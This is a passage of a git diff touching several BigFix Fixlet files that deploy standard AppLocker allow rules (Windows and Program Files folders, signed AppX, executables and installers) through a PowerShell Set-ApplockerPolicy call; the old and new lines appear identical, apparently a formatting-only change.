-		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows
+  ID       : 20620
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow all files in C:\Windows, C:\Program Files, C:\Program Files (x86)</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;921cc481-6e17-4653-8f75-050b80acca20&quot; of it or not exists key &quot;a61c8b2c-a319-4cd0-9690-d2177cad7b51&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes
index 0966331db..530e79cc5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows (20621).bes	
@@ -1,69 +1,69 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows
-  ID       : 20621
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:31:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a number of policies to Applocker. Specifically it configures:</P>
-<P>Scripts</P>
-<UL>
-<LI>Allow all scripts in Program Files folder
-<LI>Allow all scripts in Windows folder </LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)  or  /* Script Rules */ (not exists key &quot;06dce67b-934c-454f-a263-2515c8796a5d&quot; of it or not exists key &quot;9428c672-5fc3-47f4-808a-a0011f36dd2c&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Script">
-		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%PROGRAMFILES%\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows
+  ID       : 20621
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Installed Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a number of policies to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow all scripts in Program Files folder
+<LI>Allow all scripts in Windows folder </LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)  or  /* Script Rules */ (not exists key &quot;06dce67b-934c-454f-a263-2515c8796a5d&quot; of it or not exists key &quot;9428c672-5fc3-47f4-808a-a0011f36dd2c&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes
index 7cdfdd554..4e3182854 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes	
@@ -1,64 +1,64 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows
-  ID       : 20622
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:31:36
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows</Title>
-    <Description><![CDATA[<P>This policy adds&nbsp;a policy&nbsp;Applocker. Specifically it configures:</P>
-<P>AppX</P>
-<UL>
-<LI>Allow everyone to run signed AppX</LI></UL>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)  or  /* AppX Rules */ (not exists key &quot;a9e18c21-ff8f-43cf-b9fc-db40eed693ba&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Appx">
-		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows
+  ID       : 20622
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows</Title>
+    <Description><![CDATA[<P>This policy adds&nbsp;a policy&nbsp;Applocker. Specifically it configures:</P>
+<P>AppX</P>
+<UL>
+<LI>Allow everyone to run signed AppX</LI></UL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)  or  /* AppX Rules */ (not exists key &quot;a9e18c21-ff8f-43cf-b9fc-db40eed693ba&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx">
+		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes
index a4f294340..27d136aa9 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes	
@@ -1,66 +1,66 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows
-  ID       : 20623
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:31:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Executables</P>
-<UL>
-<LI>Allow everyone to run signed executables</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;4e586c7f-c597-46fc-a4e4-20008f03463d&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-// This Rule uses a custom generated GUID
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Exe">
-		<FilePublisherRule Id="4e586c7f-c597-46fc-a4e4-20008f03463d" Name="(Custom Rule) All digitally signed Windows Executable files" Description="Allows members of the Everyone group to run digitally signed Windows Executable files." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows
+  ID       : 20623
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow everyone to run signed executables</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;4e586c7f-c597-46fc-a4e4-20008f03463d&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+// This Rule uses a custom generated GUID
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePublisherRule Id="4e586c7f-c597-46fc-a4e4-20008f03463d" Name="(Custom Rule) All digitally signed Windows Executable files" Description="Allows members of the Everyone group to run digitally signed Windows Executable files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes
index 354ccfba9..492813175 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes	
@@ -1,65 +1,65 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows
-  ID       : 20624
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:31:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Installers</P>
-<UL>
-<LI>Allow everyone to run signed installers</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or   /* MSI Rules */ (not exists key &quot;b7af7102-efde-4369-8a89-7a6a392d1473&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Msi">
-		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
